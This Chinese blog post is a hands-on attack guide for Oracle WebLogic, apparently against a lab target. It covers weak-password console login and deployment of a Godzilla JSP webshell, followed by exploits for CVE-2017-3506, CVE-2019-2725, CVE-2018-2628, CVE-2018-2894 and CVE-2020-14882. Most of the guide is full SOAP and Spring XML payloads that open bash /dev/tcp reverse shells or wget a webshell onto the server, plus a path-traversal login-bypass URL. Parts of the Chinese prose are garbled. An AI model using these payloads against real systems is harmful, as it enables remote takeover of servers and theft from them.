WebLogic中间件漏洞攻略

​​​​​​后台GetShell

 通过弱令进⼊后台, 传部war, getshell

使用弱口令登录 ,weblogic/Oracle@123

点击部署->安装 

点击上载文件 

点击选择文件,两个都可以 

 使用Godzilla哥斯拉生成jsp木马写入1.jsp文件,再将此文件压缩成zip文件,将此时的1.zip改为1.war

之后使用http://39.105.61.160:7001/1/1.jsp就可以访问到,可以使用此地址使用哥斯拉连接 

CVE-2017-3506

XMLDecoder列化漏洞,WeblogicWLS Security组件对外供了webserver服务中使XMLDecoder来解析户输XML数据解析列化导致任意令执

访问http://39.105.61.160:7001/wls-wsat/CoordinatorPortType可以判断wls-wsat组件是否存在

 在此页面用Burp抓包

监听8888端口 

 发送到重放器修改Content-Type: text/xml,右键修改请求方法,改为POST请求方法,将下面的代码改为自己服务器ip和监听的端口

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/39.105.61.160/8888&gt;&amp;1</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

 点击发送,成功监听到

 CVE-2019-2725

wls9-async等组件为WebLogic Server步通认应WebLogic WAR在反序列化时存在缺攻击者通过发送精构造恶意 HTTP 即可获标服在未远程执命令

访问http://39.105.61.160:7001/_async/AsyncResponseService出现图中情况,说明漏洞存在

在此页面进行抓包 

将之前的1.jsp文件放到自己服务器的根目录,改名为1.txt 

发送到重放器修改Content-Type: text/xml,右键修改请求方法,改为POST请求方法,将下面的代码改为自己服务器ip和文件名称

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://39.105.61.160/1.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

代码的大致意思是将自己服务器的1.txt文件下载到靶场并命名为678.jsp 

访问http://39.105.61.160:7001/bea_wls_internal/678.jsp就可以访问到,之后可以使用哥斯拉连接 

​​​​​​​CVE-2018-2628

WebLogic T3协议反列化命令执(CVE-2018- 2628)

Weblogic Server中RMI 通信使T3协议Weblogic Server和其它Java程序户端或者其它 Weblogic Server之间传输数据, 例会跟踪接到程序Java虚拟JVM,T3协议通信连, 传输Java虚拟. T3协议在开WebLogic控制台攻击以通过T3协议发送恶意的的列化数据, ⾏反列化, 对存weblogic远程代⾏攻击

使用工具Java反序列化漏洞利用工具V1.7.jar

 ​​​​​​CVE-2018-2894

WebLogic件任意漏洞,Weblogic Web Service Test Page处任意漏洞Web Service Test Page ""所以漏洞定限制

通过日志寻找密码 

docker-compose logs | grep password

 base-domain -> ⾼级 -> 启动Web服务测试⻚

 点击保存 , 进⼊ config.do ⽂件进⾏设置,将工作目录修改

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.w  ebservices.wls.ws-testclient-app-wls/4mcj4y/war/css

保存后,点击安全 , 点击添加 

将之前的1.jsp放入 

提交后,按F12,找到1.jsp的代码,发现文件命名规则

 通过http://39.105.61.160:7001/ws_utc/css/config/keystore/1742720661348_1.jsp就可以访问,也可以使用哥斯拉连接

CVE-2020-14882

WebLogic远程漏洞,

CVE-2020-14882   远程过管控制件中

CVE-2020-14883   过身户在管控制⾏任何

使两个远程攻击者可通过 HTTP Oracle WebLogic ⾏任意命并完全控制主

使⽤以下url绕过登录认证,多试几次

​​​​​​​​​​​http://39.105.61.160:7001/console/css/%252e%252e%252fconsole.portal

%252e%252e%252是../的url编码 ,使用../的回溯,回到控制台首页

监听6666端口 

 ​​​​​​​

 在自己服务器上新建1.xml,改为自己的ip,端口,监听的端口

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/39.105.61.160/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

 

将网站打开

 访问下面网址

http://39.105.61.160:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://39.105.61.160/1.xml")

成功反弹shell 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值